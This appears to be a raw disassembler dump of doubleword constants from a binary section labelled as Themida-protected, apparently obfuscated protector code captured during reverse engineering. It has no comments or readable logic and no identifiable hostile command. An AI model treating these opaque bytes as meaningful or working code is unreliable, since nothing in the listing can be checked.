		dd 80h,	310F5E00h, 6A93585Ah, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F6EC353h, 0B5FFF7B7h
		dd 6100055h, 10B18501h,	8B660610h, 0C995FFFAh, 6A061031h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C7A5C355h, 1D758589h, 81660610h,	0B0AF69F6h
		dd 54BE6600h, 6A70E68Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 77A0C357h, 0E4FBB70Fh
		dd 0FE871h, 143E0000h, 355C0E91h, 1A6F3BEAh, 0A3E4AF1Dh
		dd 58C0FE9h, 0BE000000h, 5EB2CB40h, 0C681665Fh,	613C9705h
		dd 2BB830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8B0FE2C3h, 0
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 110CC355h, 293684h, 32C5BD8Bh
		dd 6BA0610h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0E809C351h,	14h, 69FEB321h
		dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 585BD89h
		dd 8B5F0610h, 0E9C38BF8h, 0Eh, 0AA36972Eh, 58235347h, 0BDF567F1h
		dd 0E8C1C9EEh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0CF310AC5h, 0F78A321Dh
		dd 81B5894Fh, 6606101Ch, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0D82BE0C3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A7C35141h, 210CF12Fh
		dd 0F8B6042h, 58F08B81h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 57C35646h, 71BE663Ah,	28C0F9Eh, 8B000000h
		dd 0FD82BF2h, 17088h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0CF9A58A6h, 94F54CECh
		dd 0CF816630h, 7B9FEFDh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2800C350h
		dd 0BA99B7B3h, 5015F8D9h, 31B59D01h, 835E0610h,	0F08B00C1h
		dd 860FD93Bh, 109h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 81C35646h, 3A239568h,	0D3BF547Dh, 6666BC61h
		dd 0BD8BD98Ch, 61000F5h, 0F04C1F6h, 0AF84h, 0C995FF00h
		dd 0E806100Dh, 14h, 0FE5BFF01h,	0A8743141h, 9E427F89h
		dd 0FFAF3E07h, 0F4D25539h, 27D9B523h, 0BE5F0610h, 53A8153Ah
		dd 0D9BD8B5Bh, 2B06101Fh, 56006AC3h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 343DF944h
		dd 0F000008h, 5386h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0CEA6C57h, 6BD1DF0h, 89561FC3h
		dd 101A859Dh, 0B70F5E06h, 6E8F1h, 98C80000h, 0E8199737h
		dd 0DE89BE66h, 2FE95Fh,	0F530000h, 681h, 0EBDE8100h, 5F11109Fh
		dd 14E9C08Bh, 90000000h, 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h
		dd 24F49CA6h, 29E2348Ch, 101B2DBDh, 8BC38B06h, 0C7F38BD8h
		dd 10052985h, 0CF17106h, 55006A13h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0DC37D7B6h, 8166C08Bh
		dd 8132BEEFh, 100055BDh, 7D006h, 12850F00h, 0B000000h
		dd 10051DBDh, 5585FF06h, 8B061000h, 100FC9BDh, 55B5FF06h
		dd 0E9061000h, 0Dh, 16EEE0D6h, 0CB0F7570h, 8CB28925h, 0D78166EAh
		dd 95FFFCADh, 61031C9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 76C35040h, 0E17062ACh, 8BF57C71h, 100C7DBDh
		dd 0BFF89006h, 64A1F1F3h, 0C8D0Fh, 9D890000h, 6101C25h
		dd 9659D31h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8D29CCC3h, 6101345h, 14E8h, 82F6B900h
		dd 25280296h, 69E46D48h, 8893F72Eh, 666597B3h, 7E99Eh
		dd 2FE80000h, 0C8A27C08h, 0BE9C3h, 1FB0000h, 0BB82CDE3h
		dd 0B5F692B4h, 0EFBF5F9Eh, 66091F6Fh, 0E8539CBEh, 11h
		dd 65BDE20Ah, 1DFD5BD4h, 0F5C62168h, 8C937BD6h,	6860F75h
		dd 29000000h, 1006AD95h, 6A5F06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8D8906C3h, 6100E49h
		dd 436DC781h, 6A6A26h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0A26631C3h, 0E846C19Ah, 13h, 0F141BEA0h
		dd 0C89D328Eh, 33E4FF84h, 161465FDh, 894CDB0Eh,	10052D85h
		dd 49E95F06h, 0BFFFFFF7h, 27541856h, 8B66C18Bh,	4EBF2h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 2716C351h, 35668A3Bh, 162FF63Ch
		dd 2BFFB70Fh, 10286DB5h, 0F08B6606h, 13B9858Dh,	6A0610h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F3AC5C3h, 6084DBC6h, 0BD8B6BBDh, 61009DDh, 0DCEE8166h
		dd 32BF903Fh, 5068CF28h, 6A90F78Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F0E6C356h
		dd 6AF357h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	2FC35141h, 3764654Dh, 13836943h, 6A006AA6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 1E13C353h, 603D7150h, 0CAC985FCh, 0AE8h, 26501D00h
		dd 0ED392774h, 897180FCh, 10231D95h, 9D895E06h,	6100835h
		dd 0FEA3858Dh, 0B5890613h, 610048Dh, 735BD8Bh, 0C0830610h
		dd 0BB666005h, 89535678h, 1022658Dh, 89615806h,	10209D95h
		dd 8B665006h, 240489F2h, 2AF1BD8Bh, 6A0610h, 7DBD8BF9h
		dd 6A061005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0B8A8BDB7h, 243FAE3h, 310D9D89h
		dd 95FF0610h, 6101D19h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0C3C35545h, 0B5897AEBh, 61016F5h, 10F9BD8Bh
		dd 9D8D0610h, 613AFD8h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 13C35141h, 19830F94h,	0E8000000h, 0Dh
		dd 7AD3F14Ch, 421FCCE4h, 0A4676AFEh, 61BD8B80h,	5E061021h
		dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 846DE8C3h, 735A8C82h, 12830Fh, 0DE90000h
		dd 0EF000000h, 4AB4735Eh, 0E79EA282h, 0E2399209h, 141985FFh
		dd 89510610h, 100D359Dh, 62E95E06h, 0E8000009h,	0
		dd 0ADED815Dh, 6A0613FEh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 3D49C357h, 0C68124C8h
		dd 982F81Fh, 55BD81h, 7D00610h,	860F0000h, 18Eh, 0B19D8BF5h
		dd 6A06102Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 52DEC351h, 0F605381h, 88h, 0A1858900h
		dd 61061021h, 0A4C7815Fh, 8175A406h, 100E3h, 68D0F00h
		dd 89000000h, 1013F995h, 0FDB0B06h, 0C585h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0D1DDE2EAh, 65A380BEh, 0F08B667Ah, 0FC80BD83h, 0F000613h
		dd 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0D96CBC6Ah, 0D75CD0AAh, 12E8h, 0F4E83100h
		dd 3B2CDE40h, 31958699h, 3960A060h, 8B9D9480h, 101FB9BDh
		dd 7FE95E06h, 33000000h, 100C99BDh, 8085C706h, 10613FCh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FDAC351h, 282h, 0FFA8B00h, 688h
		dd 0D5B58900h, 0E9061018h, 3Ah,	311D9D89h, 85C70610h, 613FC80h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1DC35646h
		dd 0B58BB9A7h, 6102DF5h, 95DBD8Bh, 9D8D0610h, 6102AB1h
		dd 6E8h, 3750B400h, 8BC6CDDFh, 1027C9BDh, 23815F06h, 0FFFFFEFFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C3C35545h
		dd 38351AD7h, 8C662E34h, 3EBF66DBh, 4C3F628h, 6D840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 2A816EC3h, 44C77799h, 0FF6E4185h,	100DC995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 506EEA86h, 168D0Fh, 0E8560000h, 0Eh, 8C9AAFF3h
		dd 33A7F752h, 0CB338A56h, 5E5FCFD9h, 66240489h,	0E9B644BFh
		dd 511h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	7BC35646h, 0EFBFB3E5h, 0B0193D43h, 6A70E600h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0CBC3C350h, 5E949h, 0F2FA0000h, 0E4E544A7h, 57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 3847B9EEh, 7E6914B6h, 0FF18B66h, 6AD8B6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 469CB8C3h
		dd 6620C96Bh, 2C94D681h, 6BAh, 0B98D2900h, 8B061009h, 51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 4A488C18h, 7B22B6DEh, 613CBE66h, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0DFECC357h, 8EA3D368h, 0FAB9AACh, 0BD8BF3BFh, 6102095h
		dd 8BE2F766h, 102D85BDh, 6AD82B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AF37C357h
		dd 93617F7Eh, 0F50F98Bh, 28Eh, 93F18B00h, 0E97DABEh, 55B5FF0Dh
		dd 6A061000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0B5BEC350h, 298B3BD6h,	102F399Dh
		dd 0C995FF06h, 6A061031h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 89EBC351h, 49BD29C8h
		dd 0B006101Dh, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 308B73C3h, 8D9D09C9h
		dd 0E606100Fh, 57006A70h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8D09FF01h, 610157Dh, 6A71E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2FB436C3h, 9DD99924h, 8947F43Dh, 102161B5h, 61B58B06h
		dd 3C06100Dh, 0F2830F61h, 89000002h, 100CA98Dh,	0D8B60F06h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h
		dd 3EFBB595h, 8B57533Bh, 100B09BDh, 6BA06h, 0BD890000h
		dd 6101189h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5C6220C3h, 1C905B89h, 0C1F78B66h
		dd 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 596949C3h, 37C14D53h, 0A1FFBF96h,	0F7665EBAh
		dd 57006AE2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0C9D8A2ECh, 4F41F427h, 0FE9C87Fh, 0C3000000h
		dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 0D82BF425h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 49C35747h, 0BC435CFCh
		dd 6810Fh, 0B58B0000h, 61004DDh, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 62C5CC8Ah
		dd 23ADFE0Fh, 201DB58Bh, 0D82B0610h, 1C7880Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 49EE3DC3h, 88CFF61Ch, 0EFBE66AFh, 1D8589EEh,	0B906100Bh
		dd 7, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 19h
		dd 3FC35343h, 0B6A91539h, 91B5238Bh, 83061015h,	6A00C1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 181885C3h, 8B1CBE35h, 101391B5h, 0FD93B06h, 13C86h
		dd 0B8BF6600h, 0D98C6628h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0D7C35141h, 20A487A6h, 0F69365F2h, 0E840FF4h
		dd 0E9000000h, 9, 5ABC386Dh, 0E80BBA83h, 4C1F65Eh, 0D2840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BED4F2C3h, 0E819E3ADh, 5, 37CD36B0h, 0F0B70FB2h
		dd 0C995FF5Fh, 8906100Dh, 100551B5h, 0DE906h, 90060000h
		dd 0C0AAA951h, 2052B746h, 5BBA2B90h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 35C35141h, 2E3A5ADDh, 0AEE13742h
		dd 2BFA8B6Eh, 0D1BD8BC3h, 3D061022h, 834h, 4A860Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FE7DB4C3h, 0A1232AF3h, 42E9C0B9h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 4C6CC356h, 1694C375h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 3F4F01C3h, 8BC38B53h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 13990E44h, 81F6A694h, 799E51F6h,	502FBE19h
		dd 85C77FD6h, 6102801h,	5FCCC991h, 0BD8BC08Bh, 6101301h
		dd 55BD81h, 7D00610h, 850F0000h, 31h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 31C35141h, 3B613C0Eh, 6F87E77Ch
		dd 5585FFB6h, 29061000h, 10084DB5h, 55B5FF06h, 6A061000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8B90C353h, 4CD3E35Fh, 1F22F12h, 10007995h
		dd 0C995FF06h, 0F061031h, 8Ah, 6A9000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72AB62C3h
		dd 0E35EDFh, 0DE9CFh, 0AA160000h, 79FDDF27h, 6A0058DCh
		dd 8132A989h, 7FB713F7h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 6A341821h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B5C351h
		dd 5CF494A9h, 0AF3B2ADBh, 0DCDE8166h, 0CE8166FBh, 56BFEF93h
		dd 66195C0Ah, 81B06CBFh, 0BCA4CACFh, 57006A72h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 27687332h
		dd 0F98BF82Dh, 30B1BE66h, 0DA3E83BEh, 0FEB70F63h, 405BBE66h
		dd 0DE9h, 1A164800h, 64F9E22Eh,	0BB48B38Bh, 858993BAh
		dd 61027ADh, 1C2719BFh,	81666070h, 0F2408C3h, 987h, 0C18D8900h
		dd 6606100Bh, 6061D08Bh, 2785858Bh, 0BD890610h,	61000C5h
		dd 0F6CDE961h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 4050C7C3h, 7A94679Ah, 0ED95893Fh
		dd 8906100Bh, 102779B5h, 6AC18B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1E6BC350h, 4EBh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 3552EAC3h
		dd 0F606100h, 158Bh, 10E900h, 35AB0000h, 1CD7A5EFh, 0FB7FB844h
		dd 9A727CB8h, 8D8BC771h, 6100E81h, 56006A61h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 339F5CBh, 0C1F36F2h
		dd 8DF1B70Fh, 1013B985h, 56B86006h, 0E83B55B7h,	7, 569035E2h
		dd 66235919h, 59D193BFh, 0DBBF5061h, 896A5BF3h,	6A2404h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 32C35747h
		dd 0AFF27224h, 6880F03h, 1000000h, 101D31BDh, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0C724C357h, 0EEF1A1ABh, 858DB815h, 6140A35h
		dd 8E8h, 7E8C6600h, 13C697BEh, 5E50601Bh, 0AE9h, 0C2F39600h
		dd 46F4B658h, 61C7BC73h, 5C0835Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 94C35141h, 58D89h, 95890610h
		dd 6100A49h, 7E890h, 28490000h,	0AB2ED5B2h, 13E8DEh, 9C5F0000h
		dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 505E5EEDh
		dd 275017BEh, 6A902Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0E5EC96C3h, 8926BFDEh, 830F883Dh
		dd 0
		dd 0B589006Ah, 61020B9h, 0F08B006Ah, 1D1995FFh,	0F7810610h
		dd 214202F3h, 0AFD89D8Dh, 0BD8B0613h, 61005FDh,	0D3FF5E50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CC35040h
		dd 0CABA60CBh, 467B3BE6h, 0FF5F5288h, 10141985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9531C34Ah, 6101425h,	7E4E9h
		db 0
byte_58BEA5	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0054E4E8o
		dd 815D0000h, 140A3FEDh, 0AE906h, 0CF240000h, 7EA1CE56h
		dd 70669F79h, 55BD81h, 7D00610h, 860F0000h, 14Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7AC35343h, 759D8BFCh
		dd 8B061028h, 1005C5B5h, 0E38106h, 57000001h, 0DE9h, 6D4F9F00h
		dd 9B9EAED1h, 6DE361D4h, 0B5E181Dh, 94850FDBh, 0E8000000h
		dd 14h,	0B4D3CB5Dh, 0D1DAB56Ah,	0D074B97Dh, 0CCD0BAA6h
		dd 0DC82B4ABh, 11ADB58Bh, 835F0610h, 14082BBDh,	840F0006h
		dd 0Ch,	20998589h, 8FE90610h, 0FC000000h, 82B85C7h, 10614h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 2ACB0EC3h, 0D015B6CBh, 30AD8589h,	57E90610h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 93ECC352h, 64654D2Fh, 0C7694337h
		dd 14082B85h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 661B891Ch, 51B1DE81h
		dd 71B8DE81h, 9D8D1DDAh, 6102875h, 1651B589h, 23810610h
		dd 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0A4C35242h, 0F3A5FCCh, 689h, 0C5BD0900h, 66061009h
		dd 830FDB8Ch, 6, 2649F781h, 11E9499Ah, 0F0000000h, 60D167DDh
		dd 0FA64A200h, 68D6105Eh, 1F5A390h, 0F04C3F6h, 6684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 191B8763h, 6E2C83F4h, 1C1DB58Bh, 95FF0610h, 6100DC9h
		dd 21CD9D89h, 81660610h, 909AF8E7h, 9050F18Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 67C35343h, 0B4B564B3h
		dd 0A5B58BA4h, 0E9061010h, 3E3h, 2EC5B58Bh, 0B00610h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6DC35242h, 14E9h
		dd 0BC280300h, 0EF6F762Ah, 0A3E041BFh, 7A370505h, 0FCFCE970h
		dd 6A70E601h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0DB5BC351h, 6BE1EA5Bh,	998D8902h
		dd 0E8061011h, 11h, 8ECC4560h, 6E4890A7h, 3D968738h, 0FDCBA7FFh
		dd 19BD290Dh, 5F061021h, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0C3E708C3h, 29515E0Eh
		dd 1020B9BDh, 0B60F5F06h, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A9ECDA1Eh
		dd 16F1BD8Bh, 6BA0610h,	89000000h, 10170D85h, 66C38B06h
		dd 45FCCE81h, 6604E8C1h, 0EA5CF681h, 6AE2F766h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0A438C350h, 6F49F3B3h, 0F28BC0B8h, 0F681D82Bh, 6957DF6Fh
		dd 6A935093h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0B6E5C351h, 0FFF98B3Fh, 100055B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 2F35EBC4h, 31C995FFh, 0BD8B0610h, 6101DB1h
		dd 0BD8B00B0h, 6102EEDh, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 3D263BC3h, 0A4411B4Fh
		dd 0E856D4EAh, 0Ah, 63D5B97Ch, 76FF8613h, 0BD8B7EEAh, 6101311h
		dd 0F71E45Fh, 613CF7BFh, 21D830Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 9FBD6CC3h
		dd 8166045Ah, 0FEB78EFh, 820FD8B6h, 0Ch, 6830Fh, 0B58B0000h
		dd 61016F1h, 6BAh, 0CF816600h, 0B58B7208h, 6100A01h, 6AC38Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0E85647C3h, 13h, 0F4AB8C49h,	77474EA5h, 0DA5C65B5h
		dd 2CE64552h, 8B315863h, 100225BDh, 895F5F06h, 101C458Dh
		dd 4E8C106h, 66FAB70Fh,	8A0FE2F7h, 6, 1671B52Bh, 0D7810610h
		dd 75556029h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FE49EC3h, 686h,	0FDB52900h, 5806100Eh
		dd 5860Fh, 0ECBF0000h, 2B697C78h, 34880FD8h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9E17C350h, 0F27B4742h, 37036C3Eh,	21B1BD03h
		dd 7B90610h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 126EC351h, 89C255A9h
		dd 10284585h, 0C18306h,	111B529h, 0D93B0610h, 0CD860Fh
		dd 8B520000h, 1011BDB5h, 8C665F06h, 0A1BD8BD9h,	0F6061010h
		dd 840F04C1h, 8Ah, 33358D89h, 95FF0610h, 6100DC9h, 8E9h
		dd 0B9FA5100h, 4AE348EBh, 6A5B67h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0F10CA1C3h, 0EB38C293h
		dd 2A81BD89h, 0C32B0610h, 8F82EF81h, 343D3133h,	0F000008h
		dd 3586h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 89CAF31Eh, 1012D9B5h, 35E906h, 9D890000h
		dd 6102AF1h, 0D618531h,	0C08B0610h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 8BC35343h, 82D91466h, 9B58B4Fh
		dd 8B061012h, 6AD88BC3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0C1F6C350h,	563C150Ah
		dd 0C770992Dh, 102AB185h, 73EFB306h, 0B58B5072h, 6102229h
		dd 6AC08B5Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 43C5C351h, 55684177h, 9D09C03Bh
		dd 6102229h, 55BD81h, 7D00610h,	850F0000h, 28h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D1C35343h, 1659BD09h
		dd 85FF0610h, 6100055h,	55B5FFh, 8D290610h, 61020CDh, 31C995FFh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 2EADCBC3h, 11B52BB3h, 8B061013h, 101561B5h
		dd 81669006h, 6A99AEF6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0BD8DC355h,	564A3036h
		dd 0DACDAB13h, 7E9F5h, 0E1980000h, 71A91689h, 666060B4h
		dd 66D6F2BBh, 0FA606BAh, 8Fh, 0B5316100h, 61007C5h, 1AC58D8Bh
		dd 0AE90610h, 5A000000h, 0EA0EB722h, 0E913FCA6h, 8589614Dh
		dd 61012A9h, 15E5BD8Bh,	0B5890610h, 6102F8Dh, 75BD8952h
		dd 5F06101Fh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	0FFC35545h, 0BD31FD06h,	610084Dh, 9B3BF66h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 61C35646h, 4BB4B241h
		dd 6A367Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 3FA7F3C3h, 0E84E223Bh, 0Fh, 1244CE63h, 0F1923137h
		dd 0DEE6C739h, 66CE30FAh, 0F9BD4EBEh, 0FA8B665Fh, 22E9FE8Bh
		dd 89FFFFF8h, 1001E9BDh, 0EBC18B06h, 4,	8B5E5300h, 0FE9F3h
		dd 0B47D0000h, 69B703ECh, 0A69D586Fh, 87FEA92Dh
		dd 0B9858D8Ch, 6A061013h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 7C26C356h, 5C64ACA0h
		dd 8F0F2Bh, 90000000h, 8E9h, 0F84A6A00h, 64B4F56Ch, 99050A4h
		dd 101A9D9Dh, 0BF006A06h, 41A71105h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0FE6AAFC3h
		dd 8CF035C2h, 8174CA20h, 94EA5DEFh, 0BD858927h,	8D061006h
		dd 1413D885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 24F852h, 0EDBEF746h, 237DBD0Ch, 101D75BDh
		dd 5C08306h, 8E9h, 64512500h, 0EA3FD063h, 8B66507Dh, 240489F8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 21C35747h
		dd 0BF9B9739h, 8D95895Dh, 6A06101Fh, 6A006A00h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 81DEC353h, 32A18529h, 95FF0610h, 6101D19h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0FDC35040h, 0EE9D5h
		dd 0C7A10000h, 76FCDB5Eh, 304CD9h, 0DDA731D2h, 0AFD89D8Dh
		dd 95890613h, 6102F91h,	6AD3FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 84C227C3h, 0ABC5A7A9h
